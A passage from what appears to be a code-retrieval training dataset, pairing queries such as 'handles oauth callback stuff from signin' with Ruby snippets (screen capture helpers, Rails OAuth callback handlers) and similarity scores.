"def on_take_default\n $testCaseID = \"VT229-0300\"\n puts 'Image.on_take() !'\n settings = { :camera_type => '' }\n Camera::take_picture(url_for(:action => :camera_callback), settings)\n end",
"def setup_screen\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n screen = $game_troop.screen\n case @acts[1]\n when Screen_Tone\n return TSBS.error(@acts[0], 3, @used_sequence) if @acts.size < 4\n tone = @acts[2].is_a?(Array) ? Tone.new(*@acts[2]) : @acts[2]\n duration = @acts[3]\n screen.start_tone_change(tone, duration)\n when Screen_Shake\n return TSBS.error(@acts[0], 4, @used_sequence) if @acts.size < 5\n power = @acts[2]\n speed = @acts[3]\n duration = @acts[4]\n screen.start_shake(power, speed, duration)\n when Screen_Flash\n return TSBS.error(@acts[0], 3, @used_sequence) if @acts.size < 4\n color = @acts[2].is_a?(Array) ? Color.new(*@acts[2]) : @acts[2]\n duration = @acts[3]\n screen.start_flash(color, duration)\n when Screen_Normalize\n return TSBS.error(@acts[0], 2, @used_sequence) if @acts.size < 3\n tone = Tone.new\n duration = @acts[2]\n screen.start_tone_change(tone, duration)\n end\n end",
"def smart_screen_enable_in_shell\n return @smart_screen_enable_in_shell\n end",
"def default_capture_device\n return 'gdigrab' if OS.windows?\n\n return 'x11grab' if OS.linux?\n\n return 'avfoundation' if OS.mac?\n\n raise 'Your OS is not supported. Feel free to create an Issue on GitHub.'\n end",
"def screenshot rect = CGRect.new(CGPoint.new(0, 0), CGSize.new(-1, -1)),\n path = '~/Desktop'\n require 'accessibility/screen_shooter'\n ScreenShooter.shoot rect.to_rect, path\n end",
"def after_win\n\n end",
"def save_evidence_execution\n evidence_dir = \"evidence/#{Time.now.strftime('%F')}/#{ENV['CUCUMBER_MOBILE_EXECUTION']}\"\n FileUtils::mkdir_p evidence_dir unless Dir.exist? evidence_dir\n screenshot_embed({:prefix=>evidence_dir, :name=>\"#{timestamp}_evidence.png\"})\nend",
"def component_capture(fileName, windowName, componentName)\n return $marathon.saveScreenShot(fileName)\nend",
"def on_take_main\n $testCaseID = \"VT229-0298\"\n puts 'Image.on_take() !'\n settings = { :camera_type => 'main' }\n Camera::take_picture(url_for(:action => :camera_callback), settings)\n end",
"def component_capture(fileName, windowName, componentName)\n return $marathon.saveScreenShot(fileName)\nend",
"def onScreen?\n return Squish::Object::exists(@symbolicName)\n end",
"def try_set_screen\n\t\tif (Common.device_id(@handle).to_s == \"textlcd_adapter\")\n\t\t\tKlass.setScreen(@handle, @index)\n\t\tend\n\tend",
"def screen\n if $game_temp.in_battle\n return $game_troop.screen\n else\n return $game_map.screen\n end\n end",
"def show_windows\n end",
"def take_screenshot(scenario)\r\n screen_name = \"log/screens/\" +scenario.name+\".png\"\r\n page.save_screenshot(screen_name) rescue nil\r\n embed(screen_name, 'image/png') rescue nil\r\nend",
"def main_window\r\n super\r\n # Make windows\r\n @left_window = Window_DebugLeft.new\r\n @right_window = Window_DebugRight.new\r\n @help_window = Window_Base.new(192, 352, 448, 128)\r\n @help_window.contents = Bitmap.new(406, 96)\r\n # Restore previously selected item\r\n @left_window.top_row = $game_temp.debug_top_row\r\n @left_window.index = $game_temp.debug_index\r\n @right_window.mode = @left_window.mode\r\n @right_window.top_id = @left_window.top_id\r\n end",
"def screen_resolution\n @values.fetch('ai.device.screenResolution') { \n @values['ai.device.screenResolution'] = nil\n }\n end",
"def windows?; end",
"def take\n check\n `adb pull /dev/graphics/fb0 fb0`\n `dd bs=1920 count=800 if=fb0 of=fb0b`\n `ffmpeg -vframes 1 -vcodec rawvideo -f rawvideo -pix_fmt rgb565 -s 480x800 -i fb0 -f image2 -vcodec png #{@destination_folder}/#{@prefix}#{@no}.png`\n `rm fb0b`\n end",
"def screenshot(filename=Time.now\\\n .strftime(\"Screenshot from %Y-%m-%d %d-%m-%y\"))\n\n XDo::Keyboard.simulate('{print}');\n sleep 4;\n XDo::Keyboard.simulate(\"{down}\")\n sleep 4;\n XDo::Keyboard.alt_s\n sleep 5;\n XDo::Keyboard.type filename\n sleep 3\n XDo::Keyboard.alt_s\n sleep 1\n\n end",
"def use_camera?\n end",
"def _run_and_capture(*args, **kwargs)\n @display_mgr.run_and_capture(*args, **kwargs)\n end",
"def main_sequence\n if Vedeu.config.interactive?\n Vedeu::Input::Capture.read\n\n else\n Vedeu.trigger(:_standalone_)\n Vedeu.refresh\n\n end\n end",
"def smart_screen_block_override_for_files\n return @smart_screen_block_override_for_files\n end"
] |
[
"0.6292149",
"0.6030954",
"0.6015375",
"0.5977784",
"0.59771615",
"0.59307766",
"0.59307766",
"0.5921016",
"0.5921016",
"0.5921016",
"0.5919633",
"0.59061325",
"0.5898946",
"0.5886099",
"0.58118844",
"0.57285357",
"0.57271665",
"0.57271665",
"0.57000214",
"0.5698981",
"0.5690589",
"0.56777346",
"0.5643659",
"0.5642391",
"0.5642391",
"0.56272143",
"0.5597729",
"0.5597729",
"0.5597142",
"0.5594813",
"0.55780035",
"0.557028",
"0.557028",
"0.55493015",
"0.55432755",
"0.5535102",
"0.55214477",
"0.55052435",
"0.5499879",
"0.54834694",
"0.54594386",
"0.54594386",
"0.54379356",
"0.5426978",
"0.541645",
"0.54092246",
"0.5389043",
"0.5389043",
"0.53784347",
"0.53709537",
"0.5366022",
"0.5341301",
"0.5340289",
"0.53370816",
"0.5335516",
"0.5331394",
"0.5312567",
"0.5309157",
"0.5308136",
"0.5299609",
"0.5286189",
"0.5283975",
"0.5277179",
"0.52410686",
"0.52205586",
"0.5219165",
"0.5210642",
"0.5210642",
"0.5207713",
"0.52070403",
"0.5193289",
"0.51903456",
"0.5182524",
"0.51695323",
"0.51695323",
"0.51500195",
"0.5144823",
"0.5138603",
"0.51311",
"0.51230556",
"0.5104435",
"0.5088934",
"0.507964",
"0.5077246",
"0.5077188",
"0.5076103",
"0.50753105",
"0.5074474",
"0.50722677",
"0.5070253",
"0.50674903",
"0.5064043",
"0.5060619",
"0.50539225",
"0.50538707",
"0.5050842",
"0.5049247",
"0.50438136",
"0.5038781",
"0.5038242",
"0.5025383"
] |
0.0
|
-1
|
required as described in documentation
|
def xdcomm
render "xdcomm", :layout => false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def private; end",
"def required; end",
"def required; end",
"def required; end",
"def requirements; end",
"def requirements; end",
"def requirements; end",
"def requirements; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def probers; end",
"def informational?; end",
"def required_properties; end",
"def schubert; end",
"def implementation; end",
"def implementation; end",
"def who_we_are\r\n end",
"def initialize\r\n\r\n end",
"def required_data() [] end",
"def has_required?; end",
"def used?; end",
"def parameters; end",
"def parameters; end",
"def parameters; end",
"def parameters; end",
"def parameters; end",
"def parameters; end",
"def parameters; end",
"def parameters; end",
"def valid; end",
"def required_defaults; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def available; end",
"def available; end",
"def state; end",
"def state; end"
] |
[
"0.80019647",
"0.7208154",
"0.7208154",
"0.7208154",
"0.70820856",
"0.70820856",
"0.70820856",
"0.70820856",
"0.69346887",
"0.69346887",
"0.69346887",
"0.69346887",
"0.6849503",
"0.675782",
"0.6680389",
"0.66043264",
"0.65863585",
"0.65863585",
"0.6540047",
"0.651459",
"0.65027755",
"0.64893204",
"0.6465811",
"0.64333403",
"0.64333403",
"0.64333403",
"0.64333403",
"0.64333403",
"0.64333403",
"0.64333403",
"0.64333403",
"0.642853",
"0.6425575",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6414517",
"0.6410726",
"0.6410726",
"0.6406914",
"0.6406914"
] |
0.0
|
-1
|
handles oauth callback stuff from signin
|
def authCallback
begin
auth_code = params.fetch("code")
rescue KeyError
raise "error: no code param provided"
end
from_sso = params.fetch("from_sso", "0") == "1"
origin = params["origin"] if params.key?("origin")
redirect_uri_sso = URI(api_args["redirect_uri"])
redirect_uri_sso.query = URI.encode_www_form(params.select{|k, v| ["from_sso", "origin"].include? k})
redirect_uri = from_sso ? redirect_uri_sso.to_s : api_args["redirect_uri"]
password_reset = sign_in(auth_code, redirect_uri)
if from_sso
# we got here from sso, redirect to origin(the page where user entered
# the site)
redirect_to origin
elsif password_reset
# we got here from email password reset, redirect to change password
redirect_to "/#{app.name}/profile_change_password"
else
# since we are in an iframe, reload the parent, not the current window,
# otherwise we will get nesting.
render :text => "<script>window.parent.location.reload()</script>"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def callback\n self.oaw_callback(params[:oauth_verifier], params[:oauth_token])\n end",
"def signin\n oauth_authorize\n end",
"def oauth_authentication; end",
"def facebook\n handle_oauth\n end",
"def oauth_authorize\n redirect_to facebook_client.authorize(oauth_callback_url)\n end",
"def authorize_callback\n @request_token = OAuth::RequestToken.new(@oauth,\n session[:request_token], \n session[:request_token_secret])\n\n @access_token = @request_token.get_access_token(:oauth_verifier => params[:oauth_verifier])\n session[:access_token] = @access_token.token\n session[:secret_token] = @access_token.secret\n session[:user_id] = @access_token.params[\"user_id\"] rescue \"\"\n session[:screen_name] = @access_token.params[\"screen_name\"] rescue \"\"\n session[:authorized] = true\n @log.info \"authorized, user [#{session[:screen_name]}]\"\n \n if session[:redirect_to]\n url = session[:redirect_to]\n session[:redirect_to] = nil \n redirect url\n else\n redirect '/'\n end\n\n end",
"def auth_callback\n current_user\n omniauth_origin = session[:omniauth_origin]\n session.delete(:omniauth_origin)\n redirect_to omniauth_origin || '/'\n end",
"def callback\n\n\n # Access the authentication hash for omniauth\n data = request.env['omniauth.auth']\n\n # Temporary for testing!\n render json: data.to_json\n\n\n # Access the authentication hash for omniauth\n # data = request.env['omniauth.auth']\n\n # microsoft_email_address = data.dig(:extra, :raw_info, :mail) || data.dig(:extra, :raw_info, :userPrincipalName)\n\n # if user_account = UserAccount.find_by(email: microsoft_email_address)\n # session[:user_account_id] = user_account.id\n # if session[:previously_requested_page]\n # last_page = session[:previously_requested_page]\n # session.delete(:previously_requested_page)\n # redirect_to last_page\n # else\n # redirect_to root_path\n # end\n # else\n # redirect_to new_session_path, notice: \"An account could not be found for #{microsoft_email_address}.\"\n # end\n end",
"def oauth\n session[:return_to_url] = params[:redirect_after_login] if params[:redirect_after_login]\n login_at(auth_params[:provider])\n end",
"def google\n process_oauth_callback\n end",
"def oauth\n login_at(auth_params[:provider])\n end",
"def oauth\n login_at(auth_params[:provider])\n end",
"def callback\n @T_OAUTH = TwitterOAuth::Client.new(:consumer_key => TWITTER_KEY, :consumer_secret => TWIITER_SECRET )\n @oauth_verifier = params[:oauth_verifier]\n access_token = @T_OAUTH.authorize(session['token'], session['secret'], auth_verifier => @oauth_verifier)\n if (@result = @T_OAUTH.authorized?)\n current_user.create_or_update_twitter_account_with_oauth_token(access_token.token, access_token.secret)\n session['token'] = nil\n session['secret'] = nil\n flash[:notice] = \"Authorize complete\"\n else\n flash[:notice] = \"Authorize failed\"\n end\n\n rescue\n flash[:notice] = \"Authorize failed\"\n end",
"def oauth2callback\n @g_cal_api.oauth2callback\n end",
"def oauth_callback_url\n end",
"def github\n process_oauth_callback\n end",
"def default_oauth_callback(&on_fail)\n auth = request.env['omniauth.auth']\n\n @user = User.send(\"find_for_#{auth.provider.to_s}_oauth\", auth, current_user)\n unless @user.persisted?\n # save oauth data if user creation failed\n session[\"devise.#{auth.provider.to_s}_data\"] = auth.except(:extra)\n end\n auth.fail_redirect ||= new_user_registration_path\n\n unless handle_oauth_login\n if on_fail\n yield auth\n else\n default_oauth_fail\n end\n end\n end",
"def oauth\n redirect_to \"#{root_path}auth/#{Setting['omniauth']['provider']}\"\n end",
"def handle_oauth\n data = request.env['omniauth.auth']\n\n # Try find student for provider, if found authenticate normally otherwise redirect to oauth signup page.\n student = Student.find_open_auth(data.provider, data.uid).first\n\n if student&.persisted?\n flash[:notice] = I18n.t 'devise.omniauth_callbacks.success', :kind => data.provider\n sign_in_and_redirect student, :event => :authentication\n else\n # Store auth data in session (remove extra to stop cookie overflow). We mark this with 'devise' so it gets\n # #automatically cleaned up.\n session['devise.oauth_data'] = data.except(:extra)\n redirect_to new_student_oauth_path, alert: (student.errors.full_messages.join(\"\\n\") if student)\n end\n end",
"def callback\n access_token = client.web_server.get_access_token(params[:code], :redirect_uri => oauth_callback_url)\n \n current_user.update_attribute(:oauth2_token, access_token.token)\n flash[:notice] = \"Authorized successfully!\"\n \n redirect_to root_url\n end",
"def oauth_callback(params)\n update! psp_credentials: payment_provider.get_access_token(params)\n end",
"def callback\n @request_token = OAuth::RequestToken.new(TwitterauthController.consumer, session[:request_token], session[:request_token_secret])\n # Exchange the request token for an access token.\n @access_token = @request_token.get_access_token\n @response = TwitterauthController.consumer.request(:get, '/account/verify_credentials.json', @access_token, { :scheme => :query_string })\n case @response\n when Net::HTTPSuccess\n user_info = JSON.parse(@response.body)\n unless user_info['screen_name']\n flash[:notice] = \"Authentication failed\"\n redirect_to :action => :index\n return\n end\n @user = User.find_or_initialize_by_twitter_id(user_info['id'])\n if @user.new_record? || @user.twitter_token != @access_token.token\n @user.twitter_token = @access_token.token\n @user.twitter_secret = @access_token.secret\n @user.save!\n end\n # Store the user in the session\n UserSession.create(@user)\n # Redirect to the show page\n redirect_back_or_default root_url\n else\n RAILS_DEFAULT_LOGGER.error \"Failed to get user info via OAuth\"\n # The user might have rejected this application. Or there was some other error during the request.\n flash[:notice] = \"Authentication failed\"\n redirect_to login_url\n return\n end\n end",
"def callback\n rpx_auth\n after_auth(params[:on_complete_url])\n end",
"def callback\n auth = request.env['omniauth.auth']\n\n session[:facebook_token] = auth[:credentials][:token]\n\n refresh_facebook\n\n redirect_to '/#services'\n end",
"def callback2\n oauth_token = FitbitOauthToken.where(:token=>params[:state]).last\n verifier = params[:code]\n if oauth_token\n return_url = request.original_url\n #xd = YAML::load oauth_token.extra_data\n # if return_url already has a ? in it, then this needs to add an & and not a ? \n #question_mark_or_ampersand = xd[:return_url].to_s =~ /\\?/ ? '&' : '?'\n question_mark_or_ampersand = return_url.to_s =~ /\\?/ ? '&' : '?'\n #There's a code and a state that need to go with:\n url = \"\"\n url += \"#{return_url.gsub(\"callback2\",\"post_authorize\")}\"\n if !verifier.nil? && !verifier.empty? \n #Only add the token and verifier if we have both\n #This way, the recieving application can respond if they're missing\n url += \"#{question_mark_or_ampersand}\"\n url += \"oauth_token=#{params[:state]}\"\n url += \"&oauth_verifier=#{params[:code]}\"\n end\n redirect_to url\n else\n render :text=>\"error processing oauth token\", :layout=>false\n end\n end",
"def google_callback\n tokens = get_tokens(params[\"code\"])\n\n @current_user.access_token = tokens[\"access_token\"]\n @current_user.save!\n \n flash[:notice] = \"Authorized\"\n \n redirect_to :root\n end",
"def auth_endpoint_callback\n Rails.logger.debug \"------ Entering auth_endpoint_callback ------\"\n\n @organization = Organization.find(params[:org])\n\n session[\"access_token\"] = @organization.authorization_server.\n request_access_token(request, callback_url)\n redirect_to organization_records_path(@organization)\n end",
"def callback\n # This stores all the user information that came from Auth0\n # and the IdP\n userinfo = request.env['omniauth.auth']\n\n begin\n result = SessionService.process!(userinfo, session)\n\n if result.new_user?\n redirect_to welcome_path\n else\n # Redirect to the URL you want after successful auth\n redirect_to services_path,\n flash: {\n success: I18n.t(:welcome_html, scope: [:auth, :existing_user])\n }\n end\n rescue SignupNotAllowedError\n # no new user or existing user, so they weren't allowed to sign up\n redirect_to signup_not_allowed_path\n end\n end",
"def finish_oauth\n\tRails.logger.warn 'here'\n\n @consumer = OAuth::Consumer.new('l9tUlXD0IOoGhC9HnDJBA', '9YZWGkxQJgieQ3Ta89mPE4xpXXhryEbRD9GS0WAt4',{:site=>\"http://twitter.com\" })\n @req_token = OAuth::RequestToken.new(@consumer,session[:request_token],session[:request_token_secret])\n \n # Request user access info from Twitter\n @access_token = @req_token.get_access_token\n\n # Store the OAuth info for the user\n #@user = {}\n #@user.update_attributes(:token=>@access_token.token,:token_secret=>@access_token.secret)\n Rails.logger.warn \"Second Request #{@access_token.params['user_id']}\"\n # Send the user on their way\n session[:tokens] ={:token=>@access_token.token, :token_secret=>@access_token.secret}\n session[:id] = @access_token.params['user_id']\n redirect_to '/'\nend",
"def callback\n auth = build_auth\n respond_to do |format|\n if logged_in?\n add_identity_to_current_user(auth)\n welcome_user(current_user)\n format.html { redirect_logged_in_user }\n format.json { render_jsend_success(:logged_in) }\n else\n user = find_or_create_user_from_auth(auth)\n if user\n user.remember_me! if session.delete(:remember_me)\n if user.connected?\n setup_new_user(user, auth)\n format.html { redirect_to_signup_flow_entry_point }\n format.json { render_jsend_success(:connected, new_profile_data(user, auth)) }\n elsif user.registered?\n setup_existing_user(user)\n format.html { redirect_after_onboarding_check(user, request.env['omniauth.origin']) }\n format.json { render_jsend_success(:registered) }\n else\n notify_visitor_user_creation_failed(user)\n format.html { redirect_after_auth(request.env['omniauth.origin'] || login_path) }\n format.json { render_jsend(error: :user_creation) }\n end\n else\n format.html { redirect_to(login_path) }\n format.json { render_jsend(error: :no_user) }\n end\n end\n end\n end",
"def callback\n # evernote returns a verifier if user authorized the app\n oauth_verifier = params[:oauth_verifier]\n if oauth_verifier\n consumer = get_consumer\n request_token = OAuth::RequestToken.new(consumer, flash[:request_token], flash[:request_secret])\n # contains the real token, user id, shard, and token expiration date\n access_token = request_token.get_access_token(:oauth_verifier => oauth_verifier)\n account = EvernoteAccount.where(\"user_id = \" + access_token.params[:edam_userId]).take\n if !account\n # save this stuff\n account = EvernoteAccount.create(\n user_id: access_token.params[:edam_userId],\n token: access_token.token,\n shard: access_token.params[:edam_shard],\n token_expiration: access_token.params[:edam_expires]\n )\n end\n session[:evernote_account_id] = account.id\n # directs to recipes page (recipe_controller.rb)\n redirect_to action: \"index\", controller: \"recipes\"\n else\n redirect_to action: \"index\"\n end\n end",
"def callback\n @request_token = session[:request_token]\n @access_token = @request_token.get_access_token\n\n session[:oauth_token] = @access_token.token\n session[:oauth_token_secret] = @access_token.secret\n\n current_user = twitter_api.account_verify_credentials\n \n session[:user_attributes] = {\n id: current_user.id,\n screen_name: current_user.screen_name,\n profile_image_url: current_user.profile_image_url,\n profile_image_url_https: current_user.profile_image_url_https\n }\n\n redirect_to :root\n end",
"def callback\n\t\tself.twitagent.exchange_request_for_access_token( session[:request_token], session[:request_token_secret], params[:oauth_verifier] )\n\t\t\n\t\tuser_info = self.twitagent.verify_credentials\n\t\t\n\t\t#raise OauthSystem::RequestError unless user_info['id'] && user_info['screen_name'] && user_info['profile_image_url']\n\t\t\n\t\t# We have an authorized user, save the information to the database.\n\t\t@user = User.find_by_screen_name(user_info['screen_name'])\n\t\tif @user\n\t\t\t@user.token = self.twitagent.access_token.token\n\t\t\t@user.secret = self.twitagent.access_token.secret\n\t\t\t@user.profile_image_url = user_info['profile_image_url']\n\t\telse\n\t\t\t@user= User.new({ \n\t\t\t\t:twitter_id => user_info['id'],\n\t\t\t\t:screen_name => user_info['screen_name'],\n\t\t\t\t:token => self.twitagent.access_token.token,\n\t\t\t\t:secret => self.twitagent.access_token.secret,\n\t\t\t\t:profile_image_url => user_info['profile_image_url'] })\n\t\tend\n\t\tif @user.save!\n\t\t\tself.current_user = @user\n\t\telse\n\t\t\traise OauthSystem::RequestError\n\t\tend\n\t\t# Redirect to the show page\n\t\tredirect_to user_path(@user)\n\t\t\n\trescue\n\t\t# The user might have rejected this application. Or there was some other error during the request.\n\t\tRAILS_DEFAULT_LOGGER.error \"Failed to get user info via OAuth\"\n\t\tflash[:error] = \"Twitter API failure (account login)\"\n\t\tredirect_to root_url\n\tend",
"def omniauth(provider, *args); end",
"def callback\n # first, load the state (redirect_url, access_token)\n state = params[:state] ? LinkedAccount::Base.decode_state(params[:state]) : {}\n\n # set @linked_account, @redirect_url, and optionally @person\n case params.try(:[], :provider)\n when 'github'\n @linked_account = LinkedAccount::Github::User.find_or_create_via_oauth_code params[:code]\n @person = Person.find_by_access_token(state[:access_token])\n @redirect_url = state[:redirect_url]\n\n when 'facebook'\n @linked_account = LinkedAccount::Facebook.find_or_create_via_oauth_code params[:code]\n @person = Person.find_by_access_token(state[:access_token])\n @redirect_url = state[:redirect_url]\n\n when 'twitter'\n @linked_account = LinkedAccount::Twitter.find_or_create_via_oauth_token_and_verifier(params[:oauth_token], params[:oauth_verifier])\n @person = Person.find_by_access_token(state[:access_token])\n @redirect_url = state[:redirect_url]\n\n when 'gittip', 'gratipay'\n @linked_account = LinkedAccount::Gittip.find_by_oauth_token params[:external_access_token]\n @person = Person.find_by_access_token(params[:gittip_access_token] || params[:gratipay_access_token])\n @redirect_url = params.delete :redirect_url\n end\n\n # run through all of the use cases\n if @person && (@person == @linked_account.person)\n # nothing to do... @person is already logged in and linked to this account.\n opts = { status: 'linked', access_token: @person.create_access_token(request) }\n elsif @person && !@linked_account.person\n # should be safe to link this account to the logged in @person\n @linked_account.link_with_person(@person)\n opts = { status: 'linked', access_token: @person.create_access_token(request) }\n elsif @person\n # error! @person logged in but not the same as @linked_account.person\n opts = { status: 'error_already_linked' }\n elsif @linked_account.person\n opts = { status: 'linked', access_token: @linked_account.person.create_access_token(request) }\n\n # Alias Person ID with randomly generated Mixpanel distinct_id.\n unless state[:mp_id].blank?\n begin\n MixpanelAlias.claim(@linked_account.person.id, state[:mp_id])\n rescue MixpanelAlias::AlreadyClaimed\n opts[:reset_mixpanel_id] = true\n end\n end\n\n else\n # nobody logged in, and no person on this account... they need to create an account\n opts = {\n status: 'error_needs_account',\n email_is_registered: !!Person.find_by_email(@linked_account.email),\n account_link_id: \"#{params[:provider]}:#{@linked_account.create_access_token}\",\n first_name: @linked_account.first_name,\n last_name: @linked_account.last_name,\n email: @linked_account.email,\n image_url: @linked_account.image_url,\n display_name: @linked_account.login\n }\n end\n\n # redirect, should be provider-agnostic\n raise MissingRequiredParams, :redirect_url unless Rails.env.development? || (@redirect_url =~ WHITELISTED_REDIRECT_URL)\n\n # tack on params\n redirect_to @redirect_url + (@redirect_url['?'] ? '&' : '?') + opts.to_param\n end",
"def process_callback(params,session)\n args = {}\n args.merge!({:oauth_verifier => params[:oauth_verifier], :request_token => session[:request_token], :request_token_secret => session[:request_token_secret]})\n args.merge!({:code => params[:code]}) if params[:code]\n @access_token = self.get_access_token(args)\n end",
"def oauth_callback\n at = Marshal.load(session[:qb_request_token]).get_access_token(:oauth_verifier => params[:oauth_verifier])\n \n #There can only be one...\n Qbo.destroy_all\n\n # Save the authentication information \n qbo = Qbo.new\n qbo.qb_token = at.token\n qbo.qb_secret = at.secret\n qbo.token_expires_at = 6.months.from_now.utc\n qbo.reconnect_token_at = 5.months.from_now.utc\n qbo.company_id = params['realmId']\n if qbo.save!\n redirect_to qbo_sync_path, :flash => { :notice => \"Successfully connected to Quickbooks\" }\n else\n redirect_to plugin_settings_path(:redmine_qbo), :flash => { :error => \"Error\" }\n end\n end",
"def callback\n\n client = Signet::OAuth2::Client.new(client_options)\n client.code = params[:code]\n\n response = client.fetch_access_token!\n\n session[:authorization] = response\n redirect_to '/leagues/calendar/events/federicobucci504@gmail.com'\n end",
"def twitter\n handle_oauth\n end",
"def callback\n sc_request_token = OAuth::RequestToken.new($sc_consumer, session[:sc_request_token], session[:sc_request_token_secret])\n sc_access_token = sc_request_token.get_access_token(:oauth_verifier => params[:oauth_verifier]) \n sc = Soundcloud.register({:access_token => sc_access_token})\n me = sc.User.find_me\n\n # check if user with me.id exists, update username & oauth stuff otherwise create a new user\n user = User.find_by_sc_user_id(me.id)\n if user.nil?\n user = User.create({:sc_user_id => me.id, :sc_username => me.username,\n :access_token => sc_access_token.token, :access_token_secret => sc_access_token.secret })\n else\n user.sc_username = me.username\n user.access_token = sc_access_token.token\n user.access_token_secret = sc_access_token.secret\n user.save!\n end\n \n session[:user_id] = user.id\n redirect_to :controller => :home\n end",
"def facebook_authorization_callback\n begin\n #Fetch the 'code' query parameter from the callback\n code = params[:code]\n\n #Get token object, passing in the authorization code from the previous step\n logger.fatal \"Redirect to facebook for getting token: #{code} , #{Settings.facebook.REDIRECT_URI}\"\n token = facebook_client.auth_code.get_token(code, {:redirect_uri => Settings.facebook.REDIRECT_URI, :parse => :facebook})\n\n api_endpoint = \"#{Settings.api_endpoints.Login}\"\n response = Typhoeus.post(api_endpoint, body: {\n userId: current_user_id,\n loginType: 'FACEBOOK',\n accessToken: token.token\n })\n\n if response.success? && !api_contains_error(\"Login\", response)\n add_access_token_api_response = JSON.parse(response.response_body)\n add_access_token_api_response = add_access_token_api_response[\"LoginResult\"]\n if add_access_token_api_response[\"isUserLogedIn\"] == true\n session[:facebook_token] = token.token\n end\n end\n\n redirect_to user_path(current_user_id)\n rescue OAuth2::Error => e\n logger.fatal e.message\n logger.fatal e.backtrace.inspect\n redirect_to Settings.facebook_auth_url\n end\n end",
"def handle_omniauth_callback(auth)\n # Try to find authentication first\n authentication = Authentication.find_by_provider_and_uid(auth['provider'], auth['uid'])\n provider = auth['provider'] || 'Unknown'\n\n ## data of facebook\n # info=#<OmniAuth::AuthHash::InfoHash email=\"phanhoanglong2610@gmail.com\"\n # first_name=\"Long\" image=\"http://graph.facebook.com/100000709457324/picture?type=square\"\n # last_name=\"Phan-Hoàng\" location=\"Ho Chi Minh City, Vietnam\" name=\"Long Phan-Hoàng\"\n # nickname=\"phanhoanglong2610\"\n # urls=#<Hashie::Mash Facebook=\"http://www.facebook.com/phanhoanglong2610\">\n # verified=true> provider=\"facebook\" uid=\"100000709457324\"\n\n if authentication\n\n # sign in and direct to previous page\n sign_in_and_redirect authentication.user, :event => :authentication\n set_flash_message(:notice, :success, :kind => auth[\"facebook\"]) if is_navigational_format?\n\n else\n # Authentication not found, thus a new user.\n @user = User.new\n\n # temp for username social accounts such as Twitter\n\n #prefill with info from provider website\n @user.apply_omniauth(auth)\n\n @info = {\n \t:first_name => @user.first_name,\n \t:last_name => @user.last_name,\n \t:email => @user.email\n }\n\n session[\"devise.#{auth[\"provider\"]}_data\"] = auth.except(\"extra\")\n\n render :template => \"devise/registrations/new\"\n end\n\tend",
"def callback_url\n options.authorize_params.callback_url or super\n end",
"def callback\n @discogs = Discogs::Wrapper.new(\"Test OAuth\")\n request_token = session[:request_token]\n verifier = params[:oauth_verifier]\n access_token = @discogs.authenticate(request_token, verifier)\n \n session[:request_token] = nil\n session[:access_token] = access_token\n \n @discogs.access_token = access_token\n \n # You can now perform authenticated requests.\n end",
"def on_new_oauth!(oauth_response)\n authentications.new(\n \"uid\" => oauth_response[\"uid\"],\n \"provider\" => oauth_response[\"provider\"]\n )\n self\n end",
"def use_oauth\n\t\t\t\n\t\tend",
"def bind_with_oauth\n if u = User.find_by_email(params[:user][:email])\n flash[:alert] = I18n.t 'devise.oauth_services.user.email_has_been_token'\n redirect_to new_oauth_user_registration_path and return\n end \n u = build_resource permitted_params.merge(name: session[:oauth].info.name, password: SecureRandom.hex )\n\n u.bypass_humanizer = true\n if u.save\n u.apply_oauth session[:oauth]\n flash[:notice] = I18n.t 'devise.omniauth_callbacks.success', kind: (I18n.t \"devise.oauth_services.providers.#{session[:oauth].provider}\") if session[:oauth].present?\n sign_in_and_redirect @user, :event => :authentication\n else\n flash[:alert] = I18n.t 'devise.oauth_services.user.failure'\n redirect_to new_oauth_user_registration_path\n end\n end",
"def linkedin_callback\n\t \n\t code = params[:code]\n\t state = params[:state]\n\t \n\t if !state.eql?(STATE)\n\t # Reject the request as it may be a result of CSRF\n\t redirect_to :controller=> 'login', :action=> :login\n\t else\n\t # Get token object, passing in the authorization code from the previous step\n\t begin\n\t \ttoken = linkedin_client.auth_code.get_token(code, :redirect_uri => \"http://localhost:3000/oauth/linkedin_callback\")\n\t \t \tsession['linkedin_token'] = token.token\n\t \t rescue\n\t \t \t\n\t \t end\n\t redirect_to :controller=> 'users', :action => :index\n\n\t end\n\tend",
"def oauth\n if params[:code]\n token_response = get_user_tokens(params[:code])\n signup_or_login(token_response)\n end\n\n render json: params\n end",
